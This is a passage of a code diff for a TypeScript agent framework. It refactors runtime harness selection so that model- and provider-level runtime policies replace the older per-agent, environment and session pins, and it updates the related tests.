agent model runs", async () => { await expect( runAgentHarnessAttempt({ - ...createAttemptParams({ - agents: { defaults: { agentRuntime: { id: "pi" } } }, - }), + ...createAttemptParams(providerRuntimeConfig("openai", "pi")), provider: "openai", modelId: "gpt-5.4", }), @@ -204,9 +236,7 @@ describe("runAgentHarnessAttempt", () => { { ownerPluginId: "codex" }, ); - const params = createAttemptParams({ - agents: { defaults: { agentRuntime: { id: "auto" } } }, - }); + const params = createAttemptParams(); const result = await runAgentHarnessAttempt(params); expect(classify).toHaveBeenCalledWith( @@ -221,22 +251,15 @@ describe("runAgentHarnessAttempt", () => { it("fails for config-forced plugin harnesses when fallback is omitted", async () => { await expect( - runAgentHarnessAttempt( - createAttemptParams({ agents: { defaults: { agentRuntime: { id: "codex" } } } }), - ), + runAgentHarnessAttempt(createAttemptParams(providerRuntimeConfig("codex", "codex"))), ).rejects.toThrow('Requested agent harness "codex" is not registered'); expect(piRunAttempt).not.toHaveBeenCalled(); }); - it("does not let a strict agent plugin runtime fall back to PI", async () => { + it("does not let a strict agent model plugin runtime fall back to PI", async () => { await expect( runAgentHarnessAttempt({ - ...createAttemptParams({ - agents: { - defaults: { agentRuntime: { id: "auto" } }, - list: [{ id: "strict", agentRuntime: { id: "codex" } }], - }, - }), + ...createAttemptParams(agentModelRuntimeConfig("codex/gpt-5.4", "codex", "strict")), sessionKey: "agent:strict:session-1", }), ).rejects.toThrow('Requested agent harness "codex" is not registered'); @@ -245,7 +268,7 @@ describe("runAgentHarnessAttempt", () => { }); describe("selectAgentHarness", () => { - it("defaults to PI unless auto runtime is explicitly selected", () => { + it("auto-selects plugin support by default", () => { const supports = vi.fn(() => ({ supported: true as const, priority: 100 })); registerAgentHarness({ id: "codex", @@ -259,8 +282,8 @@ describe("selectAgentHarness", () => { modelId: "gpt-5.4", }); - expect(harness.id).toBe("pi"); - expect(supports).not.toHaveBeenCalled(); + expect(harness.id).toBe("codex"); + expect(supports).toHaveBeenCalledTimes(1); }); it("auto-selects the highest-priority plugin harness without duplicate support probes", () => { @@ -309,7 +332,6 @@ describe("selectAgentHarness", () => { const harness = selectAgentHarness({ provider: "codex", modelId: "gpt-5.4", - config: { agents: { defaults: { agentRuntime: { id: "auto" } } } }, }); expect(harness.id).toBe("codex-high"); @@ -318,7 +340,7 @@ describe("selectAgentHarness", () => { expect(unsupportedSupports).toHaveBeenCalledTimes(1); }); - it("keeps pinned PI selection from probing plugin support", () => { + it("ignores session-level PI pins when selecting a harness", () => { const supports = vi.fn(() => ({ supported: true as const, priority: 100 })); registerAgentHarness({ id: "codex", @@ -333,20 +355,12 @@ describe("selectAgentHarness", () => { agentHarnessId: "pi", }); - expect(harness.id).toBe("pi"); - expect(supports).not.toHaveBeenCalled(); + expect(harness.id).toBe("codex"); + expect(supports).toHaveBeenCalledTimes(1); }); - it("allows per-agent runtime policy overrides", () => { - const config: OpenClawConfig = { - agents: { - defaults: { agentRuntime: { id: "auto" } }, - list: [ - { id: "main", default: true }, - { id: "strict", agentRuntime: { id: "codex" } }, - ], - }, - }; + it("allows per-agent model runtime policy overrides", () => { + const config = agentModelRuntimeConfig("anthropic/sonnet-4.6", "codex", "strict"); expect(() => selectAgentHarness({ @@ -361,14 +375,14 @@ describe("selectAgentHarness", () => { ); }); - it("uses agentRuntime as the runtime policy source", () => { - const config: OpenClawConfig = { + it("ignores legacy agentRuntime as a runtime policy source", () => { + const config = { agents: { defaults: { - agentRuntime: { id: "auto" }, + agentRuntime: { id: "codex" }, }, }, - }; + } as OpenClawConfig; expect( selectAgentHarness({ @@ -379,7 +393,7 @@ describe("selectAgentHarness", () => { ).toBe("pi"); }); - it("does not treat CLI runtime aliases as PI for OpenAI agent model runs", async () => { + it("ignores legacy agent CLI runtime aliases for OpenAI agent model runs", async () => { registerSuccessfulCodexHarness(); const config: OpenClawConfig = { agents: { @@ -403,7 +417,7 @@ describe("selectAgentHarness", () => { expect(piRunAttempt).not.toHaveBeenCalled(); }); - it("keeps an existing session pinned to PI even when config now forces a plugin harness", () => { + it("ignores existing session PI pins when provider policy forces a plugin harness", () => { registerFailingCodexHarness(); expect( @@ -411,12 +425,12 @@ describe("selectAgentHarness", () => { provider: "codex", modelId: "gpt-5.4", agentHarnessId: "pi", - config: { agents: { defaults: { agentRuntime: { id: "codex" } } } }, + config: providerRuntimeConfig("codex", "codex"), }).id, - ).toBe("pi"); + ).toBe("codex"); }); - it("keeps an existing session pinned to its plugin harness even when env now forces PI", () => { + it("ignores env-forced PI for OpenAI default runtime selection", () => { process.env.OPENCLAW_AGENT_RUNTIME = "pi"; registerFailingCodexHarness(); diff --git a/src/agents/harness/selection.ts b/src/agents/harness/selection.ts index e1aec57b93f..52e2e9814d7 100644 --- a/src/agents/harness/selection.ts +++ b/src/agents/harness/selection.ts @@ -1,37 +1,21 @@ -import type { AgentRuntimePolicyConfig } from "../../config/types.agents-shared.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { formatErrorMessage } from "../../infra/errors.js"; import { createSubsystemLogger } from "../../logging/subsystem.js"; -import { normalizeAgentId } from "../../routing/session-key.js"; -import { resolveAgentRuntimePolicy } from "../agent-runtime-policy.js"; -import { listAgentEntries, resolveSessionAgentIds } from "../agent-scope.js"; -import { isCliRuntimeAlias } from "../model-runtime-aliases.js"; -import { - isOpenAICodexProvider, - openAIProviderUsesCodexRuntimeByDefault, -} from "../openai-codex-routing.js"; import type { CompactEmbeddedPiSessionParams } from "../pi-embedded-runner/compact.types.js"; import type { EmbeddedRunAttemptParams, EmbeddedRunAttemptResult, } from "../pi-embedded-runner/run/types.js"; -import { - normalizeEmbeddedAgentRuntime, - resolveEmbeddedAgentRuntime, - type EmbeddedAgentRuntime, -} from "../pi-embedded-runner/runtime.js"; import type { EmbeddedPiCompactResult } from "../pi-embedded-runner/types.js"; import { createPiAgentHarness } from "./builtin-pi.js"; +import { resolveAgentHarnessPolicy, type AgentHarnessPolicy } from "./policy.js"; import { listRegisteredAgentHarnesses } from "./registry.js"; import type { AgentHarness, AgentHarnessSupport } from "./types.js"; import { adaptAgentHarnessToV2, runAgentHarnessV2LifecycleAttempt } from "./v2.js"; const log = createSubsystemLogger("agents/harness"); - -type AgentHarnessPolicy = { - runtime: EmbeddedAgentRuntime; - runtimeSource?: "env" | "agent" | "defaults" | "implicit" | "pinned"; -}; +export { resolveAgentHarnessPolicy }; +export type { AgentHarnessPolicy }; type AgentHarnessSelectionCandidate = { id: string; @@ -47,7 +31,6 @@ type AgentHarnessSelectionDecision = { policy: AgentHarnessPolicy; selectedHarnessId: string; selectedReason: - | "pinned" | "forced_pi" | "forced_plugin" // Auto mode chose a registered plugin harness that supports the provider/model. @@ -91,10 +74,7 @@ function selectAgentHarnessDecision(params: { sessionKey?: string; agentHarnessId?: string; }): AgentHarnessSelectionDecision { - const pinnedPolicy = resolvePinnedAgentHarnessPolicy({ - agentHarnessId: params.agentHarnessId, - }); - const policy = pinnedPolicy ?? resolveAgentHarnessPolicy(params); + const policy = resolveAgentHarnessPolicy(params); // PI is intentionally not part of the plugin candidate list. Explicit plugin // runtimes fail closed; only `auto` may route an unmatched turn to PI. const pluginHarnesses = listPluginAgentHarnesses(); @@ -104,7 +84,7 @@ function selectAgentHarnessDecision(params: { return buildSelectionDecision({ harness: piHarness, policy, - selectedReason: pinnedPolicy ? "pinned" : "forced_pi", + selectedReason: "forced_pi", candidates: listHarnessCandidates(pluginHarnesses), }); } @@ -114,7 +94,7 @@ function selectAgentHarnessDecision(params: { return buildSelectionDecision({ harness: forced, policy, - selectedReason: pinnedPolicy ? "pinned" : "forced_plugin", + selectedReason: "forced_plugin", candidates: listHarnessCandidates(pluginHarnesses), }); } @@ -249,20 +229,6 @@ function logAgentHarnessSelection( }); } -function resolvePinnedAgentHarnessPolicy(params: { - agentHarnessId: string | undefined; -}): AgentHarnessPolicy | undefined { - const { agentHarnessId } = params; - if (!agentHarnessId?.trim()) { - return undefined; - } - const runtime = normalizeEmbeddedAgentRuntime(agentHarnessId); - if (runtime === "auto") { - return undefined; - } - return { runtime, runtimeSource: "pinned" }; -} - export async function maybeCompactAgentHarnessSession( params: CompactEmbeddedPiSessionParams, ): Promise { @@ -271,7 +237,6 @@ export async function maybeCompactAgentHarnessSession( modelId: params.model, config: params.config, sessionKey: params.sessionKey, - agentHarnessId: params.agentHarnessId, }); if (!harness.compact) { if (harness.id !== "pi") { @@ -285,87 +250,3 @@ export async function maybeCompactAgentHarnessSession( } return harness.compact(params); } - -export function resolveAgentHarnessPolicy(params: { - provider?: string; - modelId?: string; - config?: OpenClawConfig; - agentId?: string; - sessionKey?: string; - env?: NodeJS.ProcessEnv; -}): AgentHarnessPolicy { - const env = params.env ?? process.env; - // Harness policy can be session-scoped because users may switch between agents - // with different strictness requirements inside the same gateway process. - const agentPolicy = resolveAgentEmbeddedHarnessConfig(params.config, { - agentId: params.agentId, - sessionKey: params.sessionKey, - }); - const defaultsPolicy = resolveAgentRuntimePolicy(params.config?.agents?.defaults); - const envRuntime = env.OPENCLAW_AGENT_RUNTIME?.trim(); - const agentRuntime = agentPolicy?.id?.trim(); - const defaultsRuntime = defaultsPolicy?.id?.trim(); - const runtimeSource = envRuntime - ? "env" - : agentRuntime - ? "agent" - : defaultsRuntime - ? "defaults" - : "implicit"; - const runtime = envRuntime - ? resolveEmbeddedAgentRuntime(env) - : normalizeEmbeddedAgentRuntime(agentRuntime ?? defaultsRuntime); - if ( - openAIProviderUsesCodexRuntimeByDefault({ provider: params.provider, config: params.config }) - ) { - if (runtime === "pi") { - if (runtimeSource === "implicit") { - return { runtime: "codex", runtimeSource }; - } - return { runtime, runtimeSource }; - } - if (runtime === "auto" || isCliRuntimeAlias(runtime)) { - return { runtime: "codex", runtimeSource }; - } - return { runtime, runtimeSource }; - } - if (isOpenAICodexProvider(params.provider)) { - if (runtime === "pi") { - if (runtimeSource === "implicit") { - return { runtime: "codex", runtimeSource }; - } - return { runtime, runtimeSource }; - } - if (runtime === "auto" || isCliRuntimeAlias(runtime)) { - return { runtime: "codex", runtimeSource }; - } - return { runtime, runtimeSource }; - } - if (isCliRuntimeAlias(runtime)) { - return { - runtime: "pi", - runtimeSource, - }; - } - return { - runtime, - runtimeSource, - }; -} - -function resolveAgentEmbeddedHarnessConfig( - config: OpenClawConfig | undefined, - params: { agentId?: string; sessionKey?: string }, -): AgentRuntimePolicyConfig | undefined { - if (!config) { - return undefined; - } - const { sessionAgentId } = resolveSessionAgentIds({ - config, - agentId: params.agentId, - sessionKey: params.sessionKey, - }); - return resolveAgentRuntimePolicy( - listAgentEntries(config).find((entry) => normalizeAgentId(entry.id) === sessionAgentId), - ); -} diff --git a/src/agents/model-runtime-aliases.ts b/src/agents/model-runtime-aliases.ts index 366a71b8968..3fc8491c9df 100644 --- a/src/agents/model-runtime-aliases.ts +++ b/src/agents/model-runtime-aliases.ts @@ -1,6 +1,5 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { normalizeAgentId } from "../routing/session-key.js"; -import { resolveAgentRuntimePolicy } from "./agent-runtime-policy.js"; +import { resolveModelRuntimePolicy } from "./model-runtime-policy.js"; import { normalizeProviderId } from "./provider-id.js"; type LegacyRuntimeModelProviderAlias = { @@ -98,37 +97,26 @@ export function isCliRuntimeAlias(runtime: string | undefined): boolean { function resolveConfiguredRuntime(params: { cfg?: OpenClawConfig; + provider: string; agentId?: string; - runtimeOverride?: string; + modelId?: string; }): string | undefined { - const override = params.runtimeOverride?.trim(); - if (override) { - return normalizeProviderId(override); - } - if (params.agentId) { - const agentEntry = params.cfg?.agents?.list?.find( - (entry) => normalizeAgentId(entry.id) === normalizeAgentId(params.agentId ?? ""), - ); - const agentRuntime = resolveAgentRuntimePolicy(agentEntry)?.id?.trim(); - if (agentRuntime) { - return normalizeProviderId(agentRuntime); - } - } - const defaults = resolveAgentRuntimePolicy(params.cfg?.agents?.defaults)?.id?.trim(); - if (defaults) { - return normalizeProviderId(defaults); - } - return undefined; + return resolveModelRuntimePolicy({ + config: params.cfg, + provider: params.provider, + modelId: params.modelId, + agentId: params.agentId, + }).policy?.id?.trim(); } export function resolveCliRuntimeExecutionProvider(params: { provider: string; cfg?: OpenClawConfig; agentId?: string; - runtimeOverride?: string; + modelId?: string; }): string | undefined { const provider = normalizeProviderId(params.provider); - const runtime = resolveConfiguredRuntime(params); + const runtime = resolveConfiguredRuntime({ ...params, provider }); if (!runtime || runtime === "auto" || runtime === "pi") { return undefined; } diff --git a/src/agents/model-runtime-policy.ts b/src/agents/model-runtime-policy.ts new file mode 100644 index 00000000000..824de2a0363 --- /dev/null +++ b/src/agents/model-runtime-policy.ts @@ -0,0 +1,166 @@ +import type { AgentModelEntryConfig } from "../config/types.agent-defaults.js"; +import type { AgentRuntimePolicyConfig } from "../config/types.agents-shared.js"; +import type { ModelDefinitionConfig, ModelProviderConfig } from "../config/types.models.js"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; +import { normalizeAgentId } from "../routing/session-key.js"; +import { listAgentEntries, resolveSessionAgentIds } from "./agent-scope.js"; +import { normalizeProviderId } from "./provider-id.js"; + +export type ModelRuntimePolicySource = "model" | "provider"; + +export type ResolvedModelRuntimePolicy = { + policy?: AgentRuntimePolicyConfig; + source?: ModelRuntimePolicySource; +}; + +function hasRuntimePolicy(value: AgentRuntimePolicyConfig | undefined): boolean { + return Boolean(value?.id?.trim()); +} + +function resolveProviderConfig( + config: OpenClawConfig | undefined, + provider: string | undefined, +): ModelProviderConfig | undefined { + if (!config?.models?.providers || !provider?.trim()) { + return undefined; + } + const providers = config.models.providers; + const direct = providers[provider]; + if (direct) { + return direct; + } + const normalizedProvider = normalizeProviderId(provider); + for (const [candidateProvider, providerConfig] of Object.entries(providers)) { + if (normalizeProviderId(candidateProvider) === normalizedProvider) { + return providerConfig; + } + } + return undefined; +} + +function normalizeModelIdForProvider( + provider: string | undefined, + modelId: string | undefined, +): string | undefined { + const trimmed = modelId?.trim(); + if (!trimmed) { + return undefined; + } + const slash = trimmed.indexOf("/"); + if (slash <= 0) { + return trimmed; + } + const modelProvider = normalizeProviderId(trimmed.slice(0, slash)); + const expectedProvider = normalizeProviderId(provider ?? ""); + if (expectedProvider && modelProvider !== expectedProvider) { + return undefined; + } + return trimmed.slice(slash + 1).trim() || undefined; +} + +function modelEntryMatches(params: { + entry: Pick; + provider: string | undefined; + modelId: string; +}): boolean { + const entryId = params.entry.id.trim(); + if (entryId === params.modelId) { + return true; + } + const slash = entryId.indexOf("/"); + if (slash <= 0) { + return false; + } + return ( + normalizeProviderId(entryId.slice(0, slash)) === normalizeProviderId(params.provider ?? "") && + entryId.slice(slash + 1).trim() === params.modelId + ); +} + +function modelKeyMatches(params: { + key: string; + provider: string | undefined; + modelId: string; +}): boolean { + return modelEntryMatches({ + entry: { id: params.key }, + provider: params.provider, + modelId: params.modelId, + }); +} + +function resolveAgentModelEntryRuntimePolicy(params: { + config?: OpenClawConfig; + provider?: string; + modelId?: string; + agentId?: string; + sessionKey?: string; +}): ResolvedModelRuntimePolicy { + const modelId = normalizeModelIdForProvider(params.provider, params.modelId); + if (!params.config || !modelId) { + return {}; + } + const { sessionAgentId } = resolveSessionAgentIds({ + config: params.config, + agentId: params.agentId, + sessionKey: params.sessionKey, + }); + const agentEntry = listAgentEntries(params.config).find( + (entry) => normalizeAgentId(entry.id) === sessionAgentId, + ); + const modelMaps: Array | undefined> = [ + agentEntry?.models, + params.config.agents?.defaults?.models, + ]; + for (const models of modelMaps) { + for (const [key, entry] of Object.entries(models ?? {})) { + if ( + modelKeyMatches({ key, provider: params.provider, modelId }) && + hasRuntimePolicy(entry?.agentRuntime) + ) { + return { policy: entry.agentRuntime, source: "model" }; + } + } + } + return {}; +} + +function resolveModelConfig(params: { + providerConfig?: ModelProviderConfig; + provider?: string; + modelId?: string; +}): ModelDefinitionConfig | undefined { + const modelId = normalizeModelIdForProvider(params.provider, params.modelId); + if (!modelId || !Array.isArray(params.providerConfig?.models)) { + return undefined; + } + return params.providerConfig.models.find((entry) => + modelEntryMatches({ entry, provider: params.provider, modelId }), + ); +} + +export function resolveModelRuntimePolicy(params: { + config?: OpenClawConfig; + provider?: string; + modelId?: string; + agentId?: string; + sessionKey?: string; +}): ResolvedModelRuntimePolicy { + const agentModelPolicy = resolveAgentModelEntryRuntimePolicy(params); + if (agentModelPolicy.policy) { + return agentModelPolicy; + } + const providerConfig = resolveProviderConfig(params.config, params.provider); + const modelConfig = resolveModelConfig({ + providerConfig, + provider: params.provider, + modelId: params.modelId, + }); + if (hasRuntimePolicy(modelConfig?.agentRuntime)) { + return { policy: modelConfig?.agentRuntime, source: "model" }; + } + if (hasRuntimePolicy(providerConfig?.agentRuntime)) { + return { policy: providerConfig?.agentRuntime, source: "provider" }; + } + return {}; +} diff --git a/src/agents/openai-codex-routing.test.ts b/src/agents/openai-codex-routing.test.ts index 6be6b2e6590..ee0375c95ae 100644 --- a/src/agents/openai-codex-routing.test.ts +++ b/src/agents/openai-codex-routing.test.ts @@ -51,13 +51,12 @@ describe("OpenAI Codex routing policy", () => { ).toBe("openai-codex"); }); - it("honors explicit session PI pins when validating OpenAI auth profiles", () => { + it("ignores session PI pins when validating OpenAI auth profiles", () => { expect( listOpenAIAuthProfileProvidersForAgentRuntime({ provider: "openai", harnessRuntime: "codex", - sessionAgentRuntimeOverride: "pi", }), - ).toEqual(["openai", "openai-codex"]); + ).toEqual(["openai-codex"]); }); }); diff --git a/src/agents/openai-codex-routing.ts b/src/agents/openai-codex-routing.ts index 52c8386e475..ef8e147da06 100644 --- a/src/agents/openai-codex-routing.ts +++ b/src/agents/openai-codex-routing.ts @@ -112,17 +112,12 @@ export function listOpenAIAuthProfileProvidersForAgentRuntime(params: { provider: string; harnessRuntime?: string; agentHarnessId?: string; - sessionAgentHarnessId?: string; - sessionAgentRuntimeOverride?: string; }): string[] { if (!isOpenAIProvider(params.provider)) { return [params.provider]; } const runtime = normalizeEmbeddedAgentRuntime( - normalizeExplicitRuntimePin(params.sessionAgentRuntimeOverride) ?? - normalizeExplicitRuntimePin(params.sessionAgentHarnessId) ?? - normalizeExplicitRuntimePin(params.agentHarnessId) ?? - params.harnessRuntime, + normalizeExplicitRuntimePin(params.agentHarnessId) ?? params.harnessRuntime, ); if (runtime === "codex") { return [OPENAI_CODEX_PROVIDER_ID]; diff --git a/src/agents/tools/agents-list-tool.test.ts b/src/agents/tools/agents-list-tool.test.ts index 668be64bd88..f31d8702878 100644 --- a/src/agents/tools/agents-list-tool.test.ts +++ b/src/agents/tools/agents-list-tool.test.ts @@ -32,7 +32,10 @@ describe("agents_list tool", () => { id: "codex", name: "Codex", model: "openai/gpt-5.5", - agentRuntime: { id: "codex" }, + agentRuntime: { id: "pi" }, + models: { + "openai/gpt-5.5": { agentRuntime: { id: "codex" } }, + }, }, ], }, @@ -52,7 +55,7 @@ describe("agents_list tool", () => { name: "Codex", configured: true, model: "openai/gpt-5.5", - agentRuntime: { id: "codex", source: "agent" }, + agentRuntime: { id: "codex", source: "model" }, }, ], }); @@ -83,7 +86,7 @@ describe("agents_list tool", () => { }); }); - it("reports env-forced plugin runtime selections", async () => { + it("ignores legacy env-forced plugin runtime selections", async () => { vi.stubEnv("OPENCLAW_AGENT_RUNTIME", "codex"); loadConfigMock.mockReturnValue({ agents: { @@ -104,13 +107,13 @@ describe("agents_list tool", () => { agents: [ { id: "main", - agentRuntime: { id: "codex", source: "env" }, + agentRuntime: { id: "codex", source: "implicit" }, }, ], }); }); - it("reports per-agent runtime overrides", async () => { + it("ignores legacy per-agent runtime overrides", async () => { loadConfigMock.mockReturnValue({ agents: { defaults: { @@ -134,7 +137,7 @@ describe("agents_list tool", () => { agents: [ { id: "strict", - agentRuntime: { id: "codex", source: "agent" }, + agentRuntime: { id: "codex", source: "implicit" }, }, ], }); diff --git a/src/agents/tools/agents-list-tool.ts b/src/agents/tools/agents-list-tool.ts index 6d58f821a4c..56cd222851d 100644 --- a/src/agents/tools/agents-list-tool.ts +++ b/src/agents/tools/agents-list-tool.ts @@ -5,8 +5,9 @@ import { normalizeAgentId, parseAgentSessionKey, } from "../../routing/session-key.js"; -import { resolveAgentRuntimeMetadata } from "../agent-runtime-metadata.js"; +import { resolveModelAgentRuntimeMetadata } from "../agent-runtime-metadata.js"; import { resolveAgentConfig, resolveAgentEffectiveModelPrimary } from "../agent-scope.js"; +import { resolveDefaultModelForAgent } from "../model-selection.js"; import { resolveSubagentAllowedTargetIds } from "../subagent-target-policy.js"; import type { AnyAgentTool } from "./common.js"; import { jsonResult } from "./common.js"; @@ -21,7 +22,7 @@ type AgentListEntry = { model?: string; agentRuntime?: { id: string; - source: "env" | "agent" | "defaults" | "implicit"; + source: "env" | "agent" | "defaults" | "model" | "provider" | "implicit"; }; }; @@ -79,12 +80,19 @@ export function createAgentsListTool(opts?: { .toSorted((a, b) => a.localeCompare(b)); const ordered = all.includes(requesterAgentId) ? [requesterAgentId, ...rest] : rest; const agents: AgentListEntry[] = ordered.map((id) => { - const agentRuntime = resolveAgentRuntimeMetadata(cfg, id); + const model = resolveAgentEffectiveModelPrimary(cfg, id); + const resolvedModel = resolveDefaultModelForAgent({ cfg, agentId: id }); + const agentRuntime = resolveModelAgentRuntimeMetadata({ + cfg, + agentId: id, + provider: resolvedModel.provider, + model: resolvedModel.model, + }); return { id, name: configuredNameMap.get(id), configured: configuredIds.includes(id), - model: resolveAgentEffectiveModelPrimary(cfg, id), + model, agentRuntime, }; }); diff --git a/src/auto-reply/reply/agent-runner-execution.ts b/src/auto-reply/reply/agent-runner-execution.ts index 33593a6e074..400cec1ffde 100644 --- a/src/auto-reply/reply/agent-runner-execution.ts +++ b/src/auto-reply/reply/agent-runner-execution.ts @@ -15,10 +15,7 @@ import { resolveContextTokensForModel } from "../../agents/context.js"; import { resolveAgentHarnessPolicy } from "../../agents/harness/selection.js"; import { LiveSessionModelSwitchError } from "../../agents/live-model-switch-error.js"; import { runWithModelFallback, isFallbackSummaryError } from "../../agents/model-fallback.js"; -import { - isCliRuntimeAlias, - resolveCliRuntimeExecutionProvider, -} from "../../agents/model-runtime-aliases.js"; +import { resolveCliRuntimeExecutionProvider } from "../../agents/model-runtime-aliases.js"; import { isCliProvider, resolveModelRefFromString } from "../../agents/model-selection.js"; import { resolveOpenAIRuntimeProviderForPi } from "../../agents/openai-codex-routing.js"; import { @@ -1404,15 +1401,12 @@ export async function runAgentTurnWithFallback(params: { ); } - const agentRuntimeOverride = normalizeOptionalString( - params.getActiveSessionEntry()?.agentRuntimeOverride, - ); const cliExecutionProvider = resolveCliRuntimeExecutionProvider({ provider, cfg: runtimeConfig, agentId: params.followupRun.run.agentId, - runtimeOverride: agentRuntimeOverride, + modelId: model, }) ?? provider; if (isCliProvider(cliExecutionProvider, runtimeConfig)) { @@ -1565,13 +1559,6 @@ export async function runAgentTurnWithFallback(params: { model, }, ); - const requestedAgentHarnessId = - agentRuntimeOverride && - agentRuntimeOverride !== "auto" && - agentRuntimeOverride !== "default" && - !isCliRuntimeAlias(agentRuntimeOverride) - ? agentRuntimeOverride - : undefined; const agentHarnessPolicy = resolveAgentHarnessPolicy({ provider, modelId: model, @@ -1581,8 +1568,7 @@ export async function runAgentTurnWithFallback(params: { }); const embeddedRunProvider = resolveOpenAIRuntimeProviderForPi({ provider, - harnessRuntime: requestedAgentHarnessId ?? agentHarnessPolicy.runtime, - agentHarnessId: requestedAgentHarnessId, + harnessRuntime: agentHarnessPolicy.runtime, authProfileProvider: runBaseParams.authProfileId?.split(":", 1)[0], authProfileId: runBaseParams.authProfileId, config: runtimeConfig, @@ -1607,7 +1593,6 @@ export async function runAgentTurnWithFallback(params: { ...senderContext, ...runBaseParams, provider: embeddedRunProvider, - ...(requestedAgentHarnessId ? { agentHarnessId: requestedAgentHarnessId } : {}), sandboxSessionKey: params.runtimePolicySessionKey, prompt: params.commandBody, transcriptPrompt: params.transcriptCommandBody, diff --git a/src/auto-reply/reply/agent-runner.misc.runreplyagent.test.ts b/src/auto-reply/reply/agent-runner.misc.runreplyagent.test.ts index 04f0bba35c0..465c3034a60 100644 --- a/src/auto-reply/reply/agent-runner.misc.runreplyagent.test.ts +++ b/src/auto-reply/reply/agent-runner.misc.runreplyagent.test.ts @@ -7,6 +7,7 @@ import { abortEmbeddedPiRun, isEmbeddedPiRunActive, } from "../../agents/pi-embedded-runner/runs.js"; +import { clearRuntimeConfigSnapshot } from "../../config/config.js"; import * as sessionTypesModule from "../../config/sessions.js"; import type { SessionEntry } from "../../config/sessions.js"; import { loadSessionStore, saveSessionStore } from "../../config/sessions.js"; @@ -149,6 +150,7 @@ type RunWithModelFallbackParams = { }; beforeEach(() => { + clearRuntimeConfigSnapshot(); resetDiagnosticEventsForTest(); embeddedRunTesting.resetActiveEmbeddedRuns(); replyRunRegistryTesting.resetReplyRunRegistry(); @@ -182,6 +184,7 @@ beforeEach(() => { }); afterEach(() => { + clearRuntimeConfigSnapshot(); resetDiagnosticEventsForTest(); vi.useRealTimers(); clearMemoryPluginState(); @@ -1810,7 +1813,6 @@ describe("runReplyAgent claude-cli routing", () => { const sessionEntry = { sessionId: "session", updatedAt: Date.now(), - agentRuntimeOverride: "claude-cli", } as SessionEntry; const followupRun = { prompt: "hello", @@ -1822,7 +1824,15 @@ describe("runReplyAgent claude-cli routing", () => { messageProvider: "webchat", sessionFile: "/tmp/session.jsonl", workspaceDir: "/tmp", - config: { agents: { defaults: { agentRuntime: { id: "claude-cli" } } } }, + config: { + agents: { + defaults: { + models: { + "anthropic/claude-opus-4-7": { agentRuntime: { id: "claude-cli" } }, + }, + }, + }, + }, skillsSnapshot: {}, provider: "anthropic", model: "claude-opus-4-7", diff --git a/src/auto-reply/reply/directive-handling.mixed-inline.test.ts b/src/auto-reply/reply/directive-handling.mixed-inline.test.ts index 99517aa13d9..d8e57ed616d 100644 --- a/src/auto-reply/reply/directive-handling.mixed-inline.test.ts +++ b/src/auto-reply/reply/directive-handling.mixed-inline.test.ts @@ -6,8 +6,10 @@ import { parseInlineDirectives } from "./directive-handling.parse.js"; import { persistInlineDirectives } from "./directive-handling.persist.js"; vi.mock("../../agents/agent-scope.js", () => ({ + listAgentEntries: vi.fn(() => []), resolveAgentConfig: vi.fn(() => ({})), resolveAgentDir: vi.fn(() => "/tmp/agent"), + resolveSessionAgentIds: vi.fn(() => ({ requestedAgentId: "main", sessionAgentId: "main" })), resolveSessionAgentId: vi.fn(() => "main"), resolveDefaultAgentId: vi.fn(() => "main"), })); diff --git a/src/auto-reply/reply/directive-handling.model.test.ts b/src/auto-reply/reply/directive-handling.model.test.ts index cfb3a7fe975..5cffd2e9ef6 100644 --- a/src/auto-reply/reply/directive-handling.model.test.ts +++ b/src/auto-reply/reply/directive-handling.model.test.ts @@ -598,7 +598,7 @@ describe("/model chat UX", () => { expect(reply?.text).not.toContain("via codex runtime"); }); - it("does not borrow Codex auth when OpenAI is pinned to PI runtime", async () => { + it("does not borrow Codex auth when OpenAI model policy pins PI runtime", async () => { setAuthProfiles({ "openai-codex:patrick@example.test": { type: "oauth", @@ -619,10 +619,11 @@ describe("/model chat UX", () => { commands: { text: true }, agents: { defaults: { - agentRuntime: { id: "pi" }, model: { primary: "openai/gpt-5.5" }, models: { - "openai/gpt-5.5": {}, + "openai/gpt-5.5": { + agentRuntime: { id: "pi" }, + }, }, }, }, @@ -911,7 +912,7 @@ describe("/model chat UX", () => { expect(sessionEntry.authProfileOverride).toBe(OPENAI_DATE_PROFILE_ID); }); - it("persists provider-compatible runtime overrides for mixed-content messages", async () => { + it("ignores provider-compatible runtime overrides for mixed-content messages", async () => { const { sessionEntry } = await persistModelDirectiveForTest({ command: "/model openai/gpt-4o --runtime codex hello", allowedModelKeys: ["openai/gpt-4o"], @@ -919,16 +920,16 @@ describe("/model chat UX", () => { expect(sessionEntry.providerOverride).toBe("openai"); expect(sessionEntry.modelOverride).toBe("gpt-4o"); - expect(sessionEntry.agentRuntimeOverride).toBe("codex"); + expect(sessionEntry.agentRuntimeOverride).toBeUndefined(); }); - it("canonicalizes legacy Codex app-server runtime overrides during persistence", async () => { + it("ignores legacy Codex app-server runtime overrides during persistence", async () => { const { sessionEntry } = await persistModelDirectiveForTest({ command: "/model openai/gpt-4o --runtime codex-app-server hello", allowedModelKeys: ["openai/gpt-4o"], }); - expect(sessionEntry.agentRuntimeOverride).toBe("codex"); + expect(sessionEntry.agentRuntimeOverride).toBeUndefined(); }); it("uses Codex OAuth context config for persisted native Codex runtime directives", async () => { @@ -988,7 +989,7 @@ describe("/model chat UX", () => { initialModelLabel: "openai/gpt-4o", }); - expect(sessionEntry.agentRuntimeOverride).toBe("pi"); + expect(sessionEntry.agentRuntimeOverride).toBeUndefined(); expect(enqueueSystemEvent).toHaveBeenCalledWith( "Ignored unsupported runtime claude-cli for openai.", { diff --git a/src/auto-reply/reply/directive-handling.model.ts b/src/auto-reply/reply/directive-handling.model.ts index f4059e47d68..84c187800fe 100644 --- a/src/auto-reply/reply/directive-handling.model.ts +++ b/src/auto-reply/reply/directive-handling.model.ts @@ -39,12 +39,8 @@ function resolveStatusHarnessRuntime(params: { sessionEntry?: Pick; defaultRuntime: string; }): string { - const sessionRuntime = normalizeOptionalString( - params.sessionEntry?.agentRuntimeOverride ?? params.sessionEntry?.agentHarnessId, - ); - return sessionRuntime && sessionRuntime !== "auto" && sessionRuntime !== "default" - ? sessionRuntime - : params.defaultRuntime; + void params.sessionEntry; + return params.defaultRuntime; } async function resolveStatusAuthLabel(params: { diff --git a/src/auto-reply/reply/directive-handling.persist.ts b/src/auto-reply/reply/directive-handling.persist.ts index c27de1e43d1..eb095740b9b 100644 --- a/src/auto-reply/reply/directive-handling.persist.ts +++ 